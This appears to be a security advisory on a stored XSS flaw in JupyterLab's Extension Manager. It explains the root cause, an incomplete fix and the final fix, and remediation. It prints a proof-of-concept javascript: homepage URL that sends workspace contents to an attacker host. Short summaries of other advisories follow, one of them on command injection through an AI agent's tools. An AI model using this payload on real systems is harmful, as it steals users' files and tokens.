Jun 19, 2026·5 min read·2 visits
JupyterLab versions before 4.5.9 are vulnerable to Stored Cross-Site Scripting (XSS) via the Extension Manager. Attackers can leverage malicious homepage metadata in PyPI packages to execute arbitrary JavaScript in the user's browser session.
A client-side Stored Cross-Site Scripting (XSS) vulnerability exists in the JupyterLab Extension Manager. This vulnerability allows an attacker to register a malicious package on the Python Package Index (PyPI) with a crafted metadata homepage URL using the 'javascript:' pseudo-protocol. When a JupyterLab user opens the Extension Manager and clicks the extension name, the browser executes arbitrary JavaScript code within the context of the JupyterLab origin. This can lead to the theft of active workspace documents, credentials, and API tokens. The issue affects all versions of JupyterLab prior to version 4.5.9.
The JupyterLab Extension Manager allows users to search, install, and manage extensions directly within the user interface. By default, it queries the public Python Package Index (PyPI) to fetch extension packages and their corresponding metadata.\n\nThe attack surface is exposed via the rendering of this external, untrusted metadata within the JupyterLab user interface. The vulnerability represents a client-side Stored Cross-Site Scripting (XSS) flaw, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-20 (Improper Input Validation).\n\nAn attacker can register a malicious package on PyPI or hijack an existing one to deliver an active payload. When a JupyterLab administrator or user browses extensions, the interface displays the package details, including a link to the homepage. If the homepage URL uses an unvalidated pseudo-protocol, interaction with the UI triggers code execution within the security origin of the JupyterLab server.
The fundamental cause of this vulnerability lies in the lack of protocol validation for user-supplied links before rendering them in the Document Object Model (DOM). In the JupyterLab backend component, package metadata is retrieved from the PyPI JSON API, and a primary URL is selected from the configuration.\n\nThe selected metadata string is assigned to the homepage_url property and transmitted to the React frontend. In the React widget responsible for rendering list entries, the application processed this URL by embedding it directly inside the href attribute of an HTML anchor (<a>) tag.\n\nBecause the scheme of the URL was not validated or restricted, a pseudo-protocol such as javascript: was parsed as a valid reference. When a user clicks the anchor element, the browser interprets the URI as an instruction to execute JavaScript code in the context of the origin, bypassing security boundaries.
The vulnerable code path directly assigned the raw string to the anchor tag without any sanitization or protocol checking.\n\ntsx\n{entry.homepage_url ? (\n <a href={entry.homepage_url} target=\"_blank\" rel=\"noopener noreferrer\">\n {entry.name}\n </a>\n) : ( \n <div>{entry.name}</div> \n)}\n\n\nThe first mitigation attempt implemented isProtocolAllowed utilizing the native URL constructor resolved against window.location.href. This attempted to restrict allowed schemes to http: and https:.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url, window.location.href);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n\n\nThis implementation was incomplete because it resolved relative URLs against the current window location. An attacker could prefix the protocol with whitespace or control characters, causing the native parser to treat it as a relative path. The browser's HTML parser, however, would later normalize the string, strip the whitespaces, detect the javascript: protocol, and execute it.\n\nThe final fix resolved this bypass by removing the base URL argument from the URL constructor. This forces the parser to process the input strictly as an absolute URL, throwing an exception for relative paths or malformed strings.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n
To perform this attack, an actor must publish a Python package containing a malicious URL scheme to the public PyPI repository. This is accomplished by setting the homepage URL under the metadata section of the pyproject.toml file.\n\nThe metadata configuration resembles the following structure:\n\ntoml\n[project.urls]\nHomepage = \"javascript:fetch('/api/contents').then(r=>r.json()).then(d=>fetch('https://attacker.com/log',{method:'POST',body:JSON.stringify(d)}))\"\n\n\nWhen the user accesses the JupyterLab Extension Manager, the backend queries PyPI and displays the malicious extension. The victim must perform a single action of clicking the package name in the extension panel.\n\nOnce clicked, the browser executes the payload. Because the execution occurs within the authenticated JupyterLab origin, the payload can access local resources, retrieve sensitive documents, extract API tokens, or perform unauthorized administrative actions on behalf of the user.\n\nmermaid\ngraph LR\n A[\"Attacker publishes malicious PyPI package\"] --> B[\"JupyterLab fetches package metadata from PyPI\"]\n B --> C[\"User opens Extension Manager UI\"]\n C --> D[\"User clicks on malicious extension name\"]\n D --> E[\"Browser executes javascript: payload in JupyterLab origin\"]\n E --> F[\"Attacker steals notebooks, credentials, or API tokens\"]\n
The security impact of this vulnerability is substantial for multi-user JupyterLab instances and administrative environments. Execution of arbitrary JavaScript within the JupyterLab origin allows full control over the user session and the resources exposed to that session.\n\nAn attacker can compromise the confidentiality of the server by reading stored files, workspaces, and notebook data. They can compromise integrity by writing new files, modifying existing code, or running system commands if the terminal API is accessible under the hijacked session.\n\nWhile the CVSS 4.0 base score is calculated as 5.1 (Medium), the actual severity can escalate if the active JupyterLab session has elevated access to backend kernels, sensitive datasets, or internal networks.
The recommended remediation is upgrading the JupyterLab installation to version 4.5.9 or higher. This version implements strict validation of URLs rendered within the Extension Manager React component.\n\nFor instances where immediate patching is not possible, the Extension Manager should be disabled. This prevents any metadata queries to PyPI and eliminates the associated attack vector.\n\nThe Extension Manager can be disabled by adding the appropriate configuration parameter to the jupyter_server_config.json file. Setting extension_manager to \"none\" prevents the rendering of external package lists.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jupyterlab Jupyter | < 4.5.9 | 4.5.9 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 / CWE-20 |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 | 5.1 (Medium) |
| Exploit Status | Proof-of-Concept |
| Affected Versions | All versions prior to 4.5.9 |
| Remediation | Upgrade to v4.5.9 or set extension_manager to 'none' |
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
A critical missing authorization vulnerability exists in the API Pages Controller of Alchemy CMS. An unauthenticated remote attacker can exploit the 'nested' action to retrieve the entire nested page tree. Furthermore, by appending the query parameter '?elements=true', the attacker can extract sensitive content from draft, unpublished, and restricted pages, bypassing all access controls.
Nokogiri is a popular Ruby gem used for parsing XML and HTML documents. A Use-After-Free (UAF) vulnerability exists in its CRuby implementation during XInclude processing. When an application traverses an XML document and exposes nodes to Ruby before calling `do_xinclude`, the underlying C library `libxml2` can free these structures in-place. This leaves active Ruby objects holding pointers to freed memory, leading to potential segmentation faults, memory corruption, or information disclosure.
A use-after-free (UAF) vulnerability exists in the CRuby native extension of the Nokogiri gem when updating XML attribute values. If child nodes of an XML attribute are wrapped by Ruby objects prior to setting the attribute's value, the underlying C memory structures are freed while the Ruby wrapper retains a dangling pointer. This results in memory corruption, invalid pointer dereferences, and application crashes during execution or garbage collection.
An arbitrary Remote Code Execution (RCE) vulnerability exists in ouroboros-ai due to an incomplete fix for CVE-2026-47211. Ouroboros automatically loads environment configurations from local .env files located in the current working directory (CWD) of cloned repositories. Although a denylist (_UNTRUSTED_ENV_DENYLIST) was introduced in version 0.39.0 to filter out execution-routing environment variables, multiple critical configuration variables were omitted, enabling complete sandbox bypass and arbitrary system command execution.
An OS command injection vulnerability (CWE-78) exists in agentic-flow versions 2.0.13 and prior. The package's Model Context Protocol (MCP) server tools directly interpolate user-controlled parameters into shell command strings executed via child_process.execSync without validation. If an AI agent processes untrusted external input and forwards it as parameters to any affected tool, an attacker can break out of the shell argument quotes and execute arbitrary OS commands on the host machine.
A high-severity denial of service vulnerability in the undici WebSocket client (CVE-2026-12151) arises from uncontrolled memory consumption. Although undici validates individual fragment sizes against a cumulative payload limit, it fails to cap the total number of frames in a single message stream. This allows a rogue or compromised WebSocket server to send an infinite sequence of small or empty continuation frames, causing unbounded memory allocation and eventual heap exhaustion on the client process.